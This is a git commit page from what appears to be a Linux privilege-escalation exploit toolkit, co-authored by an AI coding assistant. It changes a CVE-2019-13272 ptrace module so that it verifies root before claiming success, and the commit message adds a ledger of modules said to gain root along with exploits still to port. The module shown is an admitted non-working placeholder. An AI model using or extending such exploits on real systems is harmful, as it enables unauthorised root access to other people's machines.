ptrace_traceme: stop the false EXPLOIT_OK; add exploit-verification ledger
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
ptrace_traceme reported EXPLOIT_OK while obtaining no root on a genuinely vulnerable host (Ubuntu 18.04.2 / 4.15.0-50). The bundled ptrace sequence is a non-working placeholder — it PTRACE_ATTACHes to the tracer, which by then has reparented to init, so the attach fails EPERM; the parent then execve'd the setuid trigger and the dispatcher's exec-transfer path reported a false OK. Now the parent fires the trigger in a grandchild, stays alive, and verifies euid==0 before claiming success — otherwise honest EXPLOIT_FAIL with a pointer to the real CVE-2019-13272 technique (Jann Horn / bcoles) that still needs porting. Adds docs/EXPLOITED.md: the exploit-verification ledger (root witnessed OUT OF BAND, not from the module's self-report). Confirmed landing root: refluxfs, overlayfs, pwnkit (after its gconv fix), sudo_runas_neg1. Needs PoC ports: ptrace_traceme, overlayfs_setuid (CVE-2023-0386 FUSE copy-up), sudo_samedit (heap), cgroup_release_agent. ~30 modules still exploit-untested. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -266,25 +266,52 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
||||
_exit(0); /* child done — parent is now running shellcode → root sh */
|
||||
}
|
||||
|
||||
/* PARENT: execve the setuid binary. The child does the ptrace
|
||||
* setup before our execve completes (because of its sleep), so
|
||||
* the ptrace_link is in place when the cred-bump happens. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] ptrace_traceme: parent execve'ing %s in 100ms\n",
|
||||
setuid_bin);
|
||||
}
|
||||
/* PARENT: fire the setuid trigger in a short-lived GRANDCHILD so THIS
|
||||
* process survives to verify the result honestly.
|
||||
*
|
||||
* IMPORTANT (integrity fix): the previous code execve'd the setuid binary
|
||||
* directly here. That replaced the process, and because the execve itself
|
||||
* succeeds (pkexec --version runs and exits cleanly), the dispatcher's
|
||||
* "exec-transfer → clean exit" path reported a FALSE EXPLOIT_OK even though
|
||||
* no root was ever obtained — the bundled ptrace sequence is a non-working
|
||||
* placeholder (it PTRACE_ATTACHes to the tracer, and by the time it runs
|
||||
* the parent has already exited and the tracee reparented to init, so the
|
||||
* attach fails with EPERM). We now keep the parent alive and report the
|
||||
* truth. A faithful CVE-2019-13272 exploit (Jann Horn's cred-transfer via a
|
||||
* registered polkit agent, e.g. bcoles' PoC) is required to actually land
|
||||
* root and is not yet ported. */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_traceme: firing setuid trigger %s in a "
|
||||
"grandchild (parent stays alive to verify)\n", setuid_bin);
|
||||
usleep(100 * 1000); /* give child a moment to call TRACEME first */
|
||||
|
||||
/* execve the setuid bin. Use a benign arg to keep it from doing
|
||||
* anything destructive. pkexec with --version exits quickly. */
|
||||
char *new_argv[] = { (char *)setuid_bin, "--version", NULL };
|
||||
char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||||
execve(setuid_bin, new_argv, new_envp);
|
||||
/* If we get here, execve failed (or it returned because the
|
||||
* shellcode didn't take). */
|
||||
perror("execve setuid");
|
||||
pid_t trig = fork();
|
||||
if (trig == 0) {
|
||||
execve(setuid_bin, new_argv, new_envp);
|
||||
_exit(127);
|
||||
}
|
||||
int cst = 0;
|
||||
if (trig > 0) waitpid(trig, &cst, 0);
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
|
||||
/* Honest verification: did we actually become root? */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] ptrace_traceme: euid 0 — root achieved\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: the bundled ptrace sequence did NOT "
|
||||
"achieve root (it is a non-working placeholder — attaches "
|
||||
"to the wrong task). Honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] ptrace_traceme: to land root, port the real "
|
||||
"CVE-2019-13272 exploit (Jann Horn / bcoles: PTRACE_TRACEME "
|
||||
"+ setuid execve + a registered polkit agent so pkexec "
|
||||
"proceeds, then cred-transfer). Not yet bundled.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user